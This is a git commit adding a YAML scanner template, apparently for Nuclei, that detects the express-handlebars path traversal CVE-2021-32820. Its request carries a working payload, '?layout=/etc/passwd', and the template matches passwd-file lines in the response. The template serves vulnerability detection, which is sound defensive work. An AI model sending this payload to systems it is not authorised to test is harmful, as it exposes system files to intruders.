Create CVE-2021-32820.yaml

patch-1
Dhiyaneshwaran 2021-07-21 10:40:13 +05:30 committed by GitHub
parent f1900edf14
commit 8d8f39c26f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 0 deletions

View File

@ -0,0 +1,24 @@
id: CVE-2021-32820
info:
name: Express-handlebars Path Traversal
author: dhiyaneshDk
severity: medium
reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
tags: cve,cve2021,express,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/?layout=/etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "\\s*root:[x*]"
- "\\s*daemon:[x*]"
- "\\s*operator:[x*]:"
part: body